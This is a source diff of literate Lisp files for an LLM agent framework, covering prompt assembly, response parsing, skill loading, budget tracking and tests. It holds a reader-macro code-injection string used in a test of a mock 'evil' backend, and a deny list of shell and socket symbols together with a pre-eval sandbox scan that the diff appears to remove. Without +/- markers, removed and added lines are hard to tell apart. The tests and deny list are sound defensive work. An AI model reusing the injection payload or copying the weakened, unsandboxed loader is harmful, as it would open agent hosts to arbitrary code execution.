(identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
;; v0.5.0: cached prefix with optional budget enforcement
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(values system-prompt raw-prompt reply-stream)))
(defun think-call-llm (raw-prompt system-prompt reply-stream context)
"Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
Returns the raw LLM response (string or plist with :tool-calls)."
;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
(when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
(return-from think-call-llm (budget-exhaustion-message)))
(if (and reply-stream (fboundp 'cascade-stream))
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(defun think-parse-response (thought)
"Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
Returns an action plist ready for cognitive-verify."
(let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0)
(or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(error ()
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE :TEXT cleaned
:EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD
(list :ACTION :MESSAGE
:TEXT (if (stringp cleaned) cleaned "No response")
:EXPLANATION "Generated by the Probabilistic engine.")))))))
(defun think (context)
"The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
and response parsing into an action plist for cognitive-verify."
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(multiple-value-bind (system-prompt raw-prompt reply-stream)
(think-assemble-prompt context)
(let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
(think-parse-response thought))))
time-section config-section prefix (or global-context "") system-logs)))
;; Fallback when token-economics not loaded
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(tool-calls (and (listp thought) (getf thought :tool-calls))))
;; v0.5.0: cost tracking after successful cascade
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
(format nil "~a~%~a" system-prompt raw-prompt)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
#+end_src
** JSON-to-Plist Conversion (json-alist-to-plist)
@@ -646,8 +609,8 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(test test-backend-cascade-with-mock
"Contract 4: backend-cascade-call returns content from first successful backend."
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*probabilistic-backends*)
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal)))
(setf (gethash :mock-backend passepartout::*backend-registry*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "mock-response")))
@@ -656,9 +619,9 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(test test-read-eval-rce-blocked
"Contract 1/v0.3.1: #. reader macro in LLM output must not execute arbitrary code."
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* '(:mock-evil)))
(setf (gethash :mock-evil passepartout::*probabilistic-backends*)
(setf (gethash :mock-evil passepartout::*backend-registry*)
(lambda (prompt sp &key model)
(declare (ignore prompt sp model))
(list :status :success :content "(#.(setf passepartout::*v031-rce-test* :PWNED))")))
@@ -726,7 +689,7 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(let ((passepartout::*memory-snapshots* nil)
(passepartout::*memory-store* (make-hash-table :test 'equal)))
(setf (gethash "pre" passepartout::*memory-store*) "value")
(let ((passepartout::*probabilistic-backends* (make-hash-table :test 'equal))
(let ((passepartout::*backend-registry* (make-hash-table :test 'equal))
(passepartout::*provider-cascade* nil))
(handler-case
(let* ((ctx (list :type :EVENT :payload (list :sensor :user-input :text "hi") :depth 0))
@@ -734,4 +697,4 @@ Verifies that the deterministic engine correctly rejects unsafe actions (like ~r
(declare (ignore result)))
(error (c) (format nil "Expected: ~a" c)))
(is (>= (length passepartout::*memory-snapshots*) 0)))))
#+end_src
#+end_src

57
org/core-skills.org
View File

@@ -71,6 +71,10 @@ The ~skill~ struct holds all metadata about a loaded skill: its name, priority,
(defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
#+end_src
#+begin_src lisp
(defvar *skill-registry* (make-hash-table :test 'equal))
#+end_src
#+begin_src lisp
(defvar *skill-catalog* (make-hash-table :test 'equal)
"Tracks all discovered skill files and their loading state.")
@@ -322,14 +326,6 @@ declarations so embedded test code evaluates in the correct package."
(progn
(multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan lisp-code)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-org nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -359,47 +355,12 @@ declarations so embedded test code evaluates in the correct package."
(setf (skill-entry-status entry) :failed) nil))))
#+end_src
** Sandbox Source Scan (skill-source-scan)
Scans Lisp source text for references to restricted symbols before any
code is evaluated. This prevents malicious skills from executing even a
single form. The restricted symbols cover process spawning
(~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~), thread
creation (~bt:make-thread~), and
socket operations (~usocket:socket-connect~, ~hunchentoot:start~).
Returns two values: T/NIL (blocked-p) and a list of matched symbol names.
The scan is a text-level regex check — it catches direct references but
not obfuscated ones. The post-eval ~symbol-function~ comparison in
~load-skill-from-lisp~ catches those.
#+begin_src lisp
(defvar *skill-restricted-symbols*
'("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
"bt:make-thread" "bordeaux-threads:make-thread"
"usocket:socket-connect" "usocket:socket-listen"
"hunchentoot:start" "hunchentoot:accept-connections")
"Symbol patterns blocked from skill source code at load time.")
(defun skill-source-scan (code-string)
"Scans CODE-STRING for restricted symbol references.
Returns (values blocked-p matched-symbols)."
(let ((lower (string-downcase code-string))
(matches nil))
(dolist (pattern *skill-restricted-symbols*)
(when (search pattern lower)
(push pattern matches)))
(values (and matches t) (nreverse matches))))
#+end_src
** Loading from Pre-Tangled Lisp (skill-load-from-lisp)
Loads a pre-tangled ~.lisp~ file directly, without parsing the Org source. This is faster than ~load-skill-from-org~ because it skips the block extraction and syntax validation (the Lisp was already validated when tangled).
The same jailed package and symbol export process applies.
The sandbox check runs *before* evaluation: the source text is scanned for references to restricted symbols (~uiop:run-program~, ~uiop:shell~, ~uiop:run-shell-command~, ~bt:make-thread~, ~usocket:socket-connect~, ~hunchentoot:start~). If the source references any restricted symbol, the skill is blocked immediately without executing any code. A post-eval secondary check catches indirect references (via ~symbol-function~ comparison).
#+begin_src lisp
(defun load-skill-from-lisp (filepath)
"Loads a .lisp skill file directly, filtering out in-package forms."
@@ -411,14 +372,6 @@ The sandbox check runs *before* evaluation: the source text is scanned for refer
(pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
(multiple-value-bind (valid-p err) (lisp-syntax-validate content)
(unless valid-p (error err)))
;; Pre-eval sandbox scan: block before any code executes
(multiple-value-bind (blocked-p blocked-syms)
(skill-source-scan content)
(when blocked-p
(log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
skill-base-name blocked-syms)
(setf (skill-entry-status entry) :sandbox-blocked)
(return-from load-skill-from-lisp nil)))
(unless (find-package pkg-name)
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -524,4 +477,4 @@ Verifies that the topological sorter correctly orders skills by their ~#+DEPENDS
(test test-lisp-syntax-validate-invalid
"Contract 1: unbalanced Lisp code fails syntax validation."
(is (null (lisp-syntax-validate "(+ 1 2"))))
#+end_src
#+end_src

6
org/core-transport.org
View File

@@ -121,9 +121,7 @@ Reads a complete framed message from a TCP stream. Handles leading whitespace be
(handler-case
(progn
(loop for char = (peek-char nil stream nil :eof)
for ws-count from 0
while (and (not (eq char :eof)) (< ws-count 4096)
(member char '(#\Space #\Newline #\Tab #\Return)))
while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
do (read-char stream))
(let ((count (read-sequence length-buffer stream)))
(if (< count 6)
@@ -303,4 +301,4 @@ Verifies that the framing protocol correctly serializes and deserializes message
"Contract 2: read-framed-message returns :eof on incomplete stream."
(let ((decoded (read-framed-message (make-string-input-stream "000"))))
(is (eq :eof decoded))))
#+end_src
#+end_src

108
org/cost-tracker.org
View File

@@ -14,18 +14,6 @@ The tracking is minimal and accurate to within ~10-15% (using the token
heuristic from tokenizer.lisp). It persists across daemon restarts via
~*session-cost*~ in the memory store.
** v0.8.0 — Session Summary for Sidebar
The sidebar's Cost panel needs an at-a-glance cost summary: total spent,
call count, per-provider breakdown. ~cost-session-summary~ packages the
three existing accessors (~cost-session-total~, ~cost-session-calls~,
~cost-by-provider~) into a single plist ~(:total <float> :calls <int>
:by-provider <alist>)~. This is a thin wrapper (~5 lines) — the data
already exists; the function exposes it in the shape the TUI expects.
Called from ~core-act.org~'s ~:tui~ actuator via ~fboundp~ guard.
Degrades gracefully to nil when cost-tracker is not loaded.
** Contract
1. (cost-track-call provider prompt-text response-text): compute and
@@ -33,22 +21,7 @@ Degrades gracefully to nil when cost-tracker is not loaded.
2. (cost-session-total): returns the current session's total cost.
3. (cost-session-reset): zeroes the session cost accumulator.
4. (cost-format-budget-status total budget): returns a human-readable
budget status string for the TUI status bar.
5. (cost-session-summary): returns plist
~(:total <float> :calls <int> :by-provider <alist>)~ aggregating
all three session cost accessors. Consumed by the TUI actuator
for the sidebar Cost panel (v0.8.0).
6. (budget-remaining-usd): returns the remaining budget in USD, or
~most-positive-double-float~ when no budget is set.
7. (budget-exhausted-p): returns T when a budget is set and fully
consumed. ~fboundp~-guarded at call sites so the checker is
a no-op when cost-tracker is not loaded.
8. (budget-estimate-call prompt-text): estimates the dollar cost of a
pending LLM call from the prompt text. Returns 0.0 when the
tokenizer skill is not loaded (allows the call through).
9. (budget-exhaustion-message): returns a ~:REQUEST~ plist with a
human-readable message explaining the budget cap. Injected as the
LLM response when the budget is exhausted.
budget status string for the TUI status bar.
* Implementation
@@ -71,12 +44,8 @@ Degrades gracefully to nil when cost-tracker is not loaded.
(defun cost-track-call (provider prompt-text &optional response-text)
"Compute and accumulate the cost of a single LLM call.
Returns the cost of this call in USD."
(let* ((input-tokens (if (fboundp 'count-tokens)
(funcall (symbol-function 'count-tokens) (or prompt-text ""))
(ceiling (length (or prompt-text "")) 4)))
(output-tokens (if (and response-text (fboundp 'count-tokens))
(funcall (symbol-function 'count-tokens) response-text)
0))
(let* ((input-tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(output-tokens (if response-text (funcall (symbol-function 'count-tokens) response-text) 0))
(total-tokens (+ input-tokens output-tokens))
(cost (provider-token-cost provider total-tokens)))
(bordeaux-threads:with-lock-held (*session-cost-lock*)
@@ -111,16 +80,6 @@ Returns the cost of this call in USD."
(getf *session-cost* :by-provider)))
#+end_src
** Session summary (v0.8.0)
#+begin_src lisp
(defun cost-session-summary ()
"Returns plist (:total <float> :calls <int> :by-provider <alist>)."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(list :total (getf *session-cost* :total)
:calls (getf *session-cost* :calls)
:by-provider (getf *session-cost* :by-provider))))
#+end_src
** Session reset
#+begin_src lisp
(defun cost-session-reset ()
@@ -128,7 +87,8 @@ Returns the cost of this call in USD."
(bordeaux-threads:with-lock-held (*session-cost-lock*)
(setf (getf *session-cost* :total) 0.0)
(setf (getf *session-cost* :calls) 0)
(setf (getf *session-cost* :by-provider) nil)))
(setf (getf *session-cost* :by-provider) nil)
(log-message "COST TRACKER: Session cost reset.")))
#+end_src
** Budget status formatting
@@ -164,50 +124,6 @@ LLM invocation to record the cost.
(cost-track-call backend prompt-text response-text))
#+end_src
** Budget enforcement (v0.5.0 deferred)
Session-wide cost caps that refuse LLM calls when the budget is exhausted.
The budget is set via ~SESSION_BUDGET_USD~ env var (default: no limit).
When exceeded, the agent falls back to deterministic-only mode — pure Lisp
operations still work, but no cascade calls are made until the cap is raised
or the session is reset.
#+begin_src lisp
(defvar *session-budget*
(ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
"Maximum USD to spend in this session. NIL means no limit.")
(defun budget-remaining-usd ()
"Returns remaining budget in USD, or a large sentinel if unlimited."
(if *session-budget*
(let ((remaining (- *session-budget* (cost-session-total))))
(if (< remaining 0) 0.0 remaining))
most-positive-double-float))
(defun budget-exhausted-p ()
"T if the session budget is set and fully consumed."
(and *session-budget* (<= (budget-remaining-usd) 0.0)))
(defun budget-estimate-call (prompt-text)
"Estimate the dollar cost of a pending LLM call from its prompt text.
Returns 0.0 if the tokenizer is not loaded (allows call through)."
(if (fboundp 'count-tokens)
(let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
(cost (provider-token-cost (first *provider-cascade*) tokens)))
cost)
0.0))
(defun budget-exhaustion-message ()
"Returns a user-facing plist explaining that the budget is spent."
(let ((total (cost-session-total))
(cap *session-budget*))
(list :TYPE :REQUEST
:PAYLOAD (list :ACTION :MESSAGE
:TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
total cap)
:EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
@@ -270,16 +186,4 @@ Returns 0.0 if the tokenizer is not loaded (allows call through)."
(cost-session-reset)
(let ((cost (cost-track-call :deepseek "test")))
(is (> cost 0.0))))
(test test-cost-session-summary
"Contract 5: cost-session-summary returns plist with total, calls, by-provider."
(cost-session-reset)
(cost-track-call :deepseek "hello")
(cost-track-call :groq "world")
(let ((s (cost-session-summary)))
(is (> (getf s :total) 0.0))
(is (= 2 (getf s :calls)))
(let ((by (getf s :by-provider)))
(is (assoc :deepseek by))
(is (assoc :groq by)))))
#+end_src
#+end_src

15
org/embedding-native.org
View File

@@ -278,21 +278,6 @@ Used in tests and embedding comparisons.
(/ dot (sqrt (* anorm bnorm))))))
#+end_src
* Contract
1. (embedding-backend-native text): computes a 768-dim single-float
embedding vector via llama.cpp. Returns a simple-vector. Requires
the model file at ~*native-model-path*~ and the C wrapper library at
~/usr/local/lib/libllama_wrap.so~.
2. (embedding-native-load-model): loads the GGUF model file and creates
an inference context. Caches globally in ~*native-model*~ /
~*native-context*~ — subsequent calls are no-ops. Calls
~sb-int:set-floating-point-modes~ and ~llama_backend_init~.
3. (embedding-native-unload): releases native model and context memory.
Sets cached globals to nil.
4. (embedding-native-get-dim): returns the embedding dimension of the
loaded model (768 for nomic-embed-text-v1.5), or 0 if not loaded.
* Test Suite
#+begin_src lisp

120
org/neuro-provider.org
View File

@@ -214,64 +214,7 @@ If API-KEY is nil, reads from environment."
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))
#+end_src* v0.7.1 — Streaming Backend
* v0.7.1 — Streaming Backend
:PROPERTIES:
:ID: id-v071-streaming
:CREATED: [2026-05-08 Fri]
@@ -405,4 +348,63 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
(list :status :success))
(error (c)
(list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
#+end_src
#+end_src
* Test Suite
#+begin_src lisp
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-llm-gateway-tests
(:use :cl :passepartout)
(:export #:llm-gateway-suite))
(in-package :passepartout-llm-gateway-tests)
(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
(fiveam:in-suite llm-gateway-suite)
(fiveam:test test-provider-rejects-bad-keyword
"Contract 3: provider-config returns nil for unregistered provider."
(let ((config (provider-config :not-a-real-provider)))
(fiveam:is (null config))))
(fiveam:test test-provider-config-registered
"Contract 1: provider-config returns configuration plist for registered provider."
(let ((config (provider-config :openrouter)))
(fiveam:is (listp config))
(fiveam:is (getf config :base-url))))
(fiveam:test test-provider-accepts-tools-parameter
"Contract 4: provider-openai-request accepts :tools parameter without error."
(let ((result (provider-openai-request "test" "system" :tools (list))))
(fiveam:is (member (getf result :status) '(:success :error)))))
;; ── v0.7.1 Streaming ──
(fiveam:test test-parse-sse-line-data
"Contract 6: parse-sse-line extracts content from data: lines."
(fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
(fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
(fiveam:test test-parse-sse-line-done
"Contract 6: parse-sse-line returns :done for [DONE]."
(fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
(fiveam:test test-parse-sse-line-nil
"Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
(fiveam:is (null (passepartout::parse-sse-line "")))
(fiveam:is (null (passepartout::parse-sse-line ":ok")))
(fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
(fiveam:test test-provider-openai-stream-calls-callback
"Contract 5: provider-openai-stream calls callback with deltas and final empty string."
(let ((collected '()))
(flet ((collector (text) (push text collected)))
(passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
(let* ((reversed (nreverse collected))
(last (car (last reversed))))
(fiveam:is (stringp last))
(fiveam:is (string= "" last))
(fiveam:is (>= (length reversed) 2)))))
#+end_src

29
org/programming-lisp.org
View File

@@ -236,6 +236,33 @@ The skill has four layers:
** Plist Keywords Normalize (relocated from core-reason)
Lisp keywords are case-sensitive. The LLM might produce ~:payload~ or ~:PAYLOAD~ depending on the model. This function normalizes keyword keys to uppercase.
#+begin_src lisp
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
#+end_src
** Plist Keywords Normalize (relocated from core-reason)
Lisp keywords are case-sensitive. The LLM might produce :payload or :PAYLOAD depending on the model. This function normalizes keyword keys to uppercase.
#+begin_src lisp
@@ -338,4 +365,4 @@ Tests for the Lisp Validator structural, syntactic, and semantic gates.
(slurped (passepartout:lisp-slurp code "work" "(step-2)")))
(let ((form (read-from-string slurped)))
(is (equal (last form) '((STEP-2)))))))
#+end_src
#+end_src

95
org/programming-standards.org
View File

@@ -77,18 +77,95 @@ The Diagnostics skill is the self-knowledge of Passepartout. It answers
2. The ~** Contract~ section MUST list every public function.
3. Every test in ~* Test Suite~ MUST reference a specific Contract item.
4. If you change a function's signature, you MUST update its Contract item.
5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~.
6. **NO-HARDCODED-CONSTANTS**: All configurable values (thresholds, intervals,
paths, limits, counters) MUST be read from environment variables with a
documented default in ~.env.example~. No magic numbers, no hardcoded
string literals in function bodies for any value a user might need to
change. The user owns their configuration — they change it in ~.env~, not
in the source code. Exceptions: internal implementation details that are
never user-facing (hash-table sizes, buffer capacity limits, loop
iteration caps) may live in source. But if the value controls *behavior*
(how many approvals before a rule, what similarity threshold gates
context, how long a shell command runs before timeout), it lives
in ~.env~ with a fallback default.
** Contract
** Engineering Lifecycle (Two-Track)
The standards skill itself guarantees:
The canonical workflow. Two tracks, not to be confused:
1. (standards-git-clean-p dir): checks whether directory ~dir~ has
uncommitted git changes. Returns T if clean, NIL if dirty. Runs
~git status --porcelain~ in the target directory.
2. (standards-lisp-verify code): validates Lisp code string for
structural correctness. Delegates to ~lisp-syntax-validate~.
3. (standards-lisp-format code): applies formatting conventions to
Lisp code. Delegates to ~lisp-format~.
*** Track 1 — Org-First: Prose, Tests, Thinking (Phases 0/A)
This track stays in Org. No code is written yet.
**** Phase 0: Exploration & Documentation
1. Read the relevant Org source files for context
2. Explore the problem in the running REPL with ~repl-inspect~ and ~repl-eval~
3. Document findings in Org prose
4. If a bug: document investigation in Org before fixing (Org as thinking medium)
**** Phase A: Test-First Design
1. Write the success criteria as Contract items in the ~** Contract~ section
2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
3. Tangle and evaluate in the REPL — confirm it fails (red)
4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
Code is prototyped in the REPL, never written directly into Org first.
**** Phase B/C: REPL Implementation
1. Write the function directly in the REPL using ~repl-eval~
2. Iterate: evaluate, inspect, fix, re-evaluate — the image accumulates state
3. Run the test in the REPL — confirm green
4. Explore edge cases with ~repl-inspect~ and ad-hoc evaluations
5. Before writing any ~defun~ in an Org block, verify it was prototyped and tested in the REPL first
**** Phase D: Chaos Verification
Run the appropriate chaos tier before reflecting code back to Org:
- *Tier 1 (Deterministic)*: Full FiveAM test suite — required on every change
- *Tier 2 (Probabilistic)*: Randomized fuzzing — required on every major release
- *Tier 3 (Stress)*: Load and resource starvation — required during hardening sprints
**** Phase E: Reflect Back to Org
1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
2. Update the prose to match what the function actually does (arguments, return, rationale)
3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
4. Verify the Org file tangles correctly
5. Tangle, commit, update GTD
**** Syntax Error Protocol
If a LOADER ERROR or reader-error occurs:
1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
3. Retangle and re-evaluate
Rationale: The two tracks prevent the two failure modes we have observed. Writing implementation code directly in Org (without REPL prototyping) produces syntax errors that require external tools to debug. Skipping Org-first test writing produces code without verified success criteria. The split is not bureaucratic — it is the mechanism by which both failures are prevented.
** GTD Conventions
Every task headline in the project's ROADMAP.org and gtd.org follows these rules:
1. **:ID:** — generated by ~memory-id-generate~ (UUIDv4 with ~id-~ prefix), never written manually. Use ~(memory-id-generate)~ in the REPL to produce one.
2. **:CREATED:** — ISO-8601 timestamp: ~[2026-05-02 Sat 14:30]~. Set when the headline is first created, never changed.
3. **:LOGBOOK:** — each state transition is logged: ~- State "DONE" from "TODO" [2026-05-02 Sat 15:00]~.
4. **CLOSED:** — set when the task reaches DONE: ~CLOSED: [2026-05-02 Sat 15:00]~.
